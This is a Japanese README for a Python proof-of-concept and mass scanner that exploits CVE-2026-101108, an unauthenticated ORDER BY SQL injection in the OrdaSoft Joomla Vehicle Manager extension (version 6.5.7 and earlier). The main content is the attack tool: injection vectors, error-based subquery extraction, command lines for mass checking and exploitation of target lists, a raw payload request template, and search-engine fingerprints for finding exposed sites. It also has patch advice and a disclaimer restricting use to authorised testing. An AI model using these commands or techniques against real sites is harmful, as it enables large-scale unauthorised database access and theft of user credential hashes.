
Python 3によるPoCおよび一括スキャナ。OrdaSoft Joomla Vehicle Manager <=6.5.7 (com_vehiclemanager) における認証不要のORDER BY SQLインジェクション、CVE-2026-101108を対象とする。
CVE-2026-101108 のPython 3 PoC — OrdaSoft Vehicle Manager (Free) Joomla拡張機能 ≤ 6.5.7。6.5.8+ で修正済み。
| PoCbit | https://pocbit.org/pocs/cve-2026-101108 |
| カタログ | https://pocbit.org/pocs/ |
| コンポーネント | com_vehiclemanager |
| ファイル | site/vehiclemanager.php |
| パラメータ | order_field, order_direction → ORDER BY (クォートなし) |
| 認証 | 不要 (公開カテゴリ / 検索 / 全車両ビュー) |
| CWE | CWE-89 SQLインジェクション |
| CVSS 4.0 | 9.3 クリティカル (Joomla CNA) |
Vehicle Manager (Free) は、Joomlaで車両広告 (カテゴリ、検索、全車両) を提供するOrdaSoft拡張機能です。6.5.7以前のバージョンでは、並び替えパラメータ order_field と order_direction が site/vehiclemanager.php 内で処理されます。入力に対してエスケープが適用されますが、値がクォートなしのORDER BY句に配置されるため、エスケープはSQLiに対して無効となります (CNAの説明)。
攻撃者は認証なしでデータベースの読み書きが可能となり、Joomlaユーザーハッシュやサイトの完全性にとって重大なリスクを生じさせます。6.5.8以降にアップグレードしてください。
一般的なJoomla/PHPコードでは、ユーザー入力を文字列リテラル用にクォートをエスケープする「サニタイザー」に通すことがあります。ORDER BYでは、カラム名や式は文字列リテラルではありません — ソートキーはSQL構造として連結されます。攻撃者は実際のカラム名の代わりに、エラーベースのサブクエリなどの式を供給します。CVE-2026-101108のCNAテキストは、このエスケープバイパスパターンを明示的に文書化しています。
影響を受ける匿名フロントエンドのエントリポイント:
showCategory)search / 関連タスク)showVehicles および類似)| モード | 動作 |
|---|---|
| check | コンポーネント + マニフェストバージョンのフィンガープリント、catid/Itemid の検出、SQLiの確認 |
| exploit | ORDER BY経由のエラーベース EXTRACTVALUEスタイル ダブルクエリ |
| mass | 一括チェックまたは一括抽出のための --list + -j |
試行されるインジェクションベクター (exploitでは最初に成功したものが採用):
order_field GETorder_direction GET (asc,<subquery>)order_field POSTorder_direction POSTJSONLフィールド: pocbit, pocbit_catalog, pocbit_page, cve, component。
cd CVE-2026-101108
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py -u https://target.example --mode exploit --vector order_direction_get
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 15 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| フラグ | 意味 |
|---|---|
--aggressive | checkモードで SELECT VERSION() のリークも試行 |
--subquery | エラーベースペイロード用の内部SELECT (MySQL) |
--vector | 4つのORDER BYベクターのうち1つを強制 |
--exploited-list | exploit成功時のタブ区切りリーク |
--no-color | プレーンCLI (NO_COLOR を尊重) |
終了コード: exploitモードは exploited: true で 0、checkモードは exploitable_candidate で 0。
カテゴリルート (ソートパラメータはPoCが付加):
GET /index.php?option=com_vehiclemanager&task=showCategory&catid=1&order_field=<payload>&order_direction=asc HTTP/1.1
PoCが構築する検索ルートのベースライン:
GET /index.php?option=com_vehiclemanager&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all HTTP/1.1
読み取り可能な場合:
/administrator/components/com_vehiclemanager/vehiclemanager.xmlバージョン ≤ 6.5.7 → likely_vulnerable_version。≥ 6.5.8 → patched_version。
body="option=com_vehiclemanager"
body="/components/com_vehiclemanager/" && body="Joomla"
title="Vehicle" && body="com_vehiclemanager"
body="ordasoft" && body="vehiclemanager"
ホストを targets.txt にエクスポートし (1行につき1つのベースURL)、check → hits → exploit を許可された資産に対してのみ実行してください。
Real Estate Manager のCVE (例: CVE-2026-100752 / CVE-2026-100753) と同じ開示期間: 複数のOrdaSoft Joomla拡張機能がSQLi/XSSの修正を受けました。Vehicle Manager を運用している場合は、デプロイしているすべてのOrdaSoftコンポーネントにパッチを適用してください。
| CVE | 製品 | 問題 | 修正 |
|---|---|---|---|
| CVE-2026-101108 | Vehicle Manager (Free) | 未認証ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | 未認証ORDER BY SQLi | 6.7.9 |
クレジット (CNA): Ala Arfaoui。
com_vehiclemanager SQLi (旧バージョン、検索パラメータ) — 関連するコンポーネントサーフェスであるが別物許可されたセキュリティテストおよびパッチ検証のみ。
CVE-2026-101108 PoC: OrdaSoft Joomla Vehicle Manager (Free) <=6.5.7 unauth SQLi — order_field/order_direction unquoted ORDER BY (com_vehiclemanager). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101108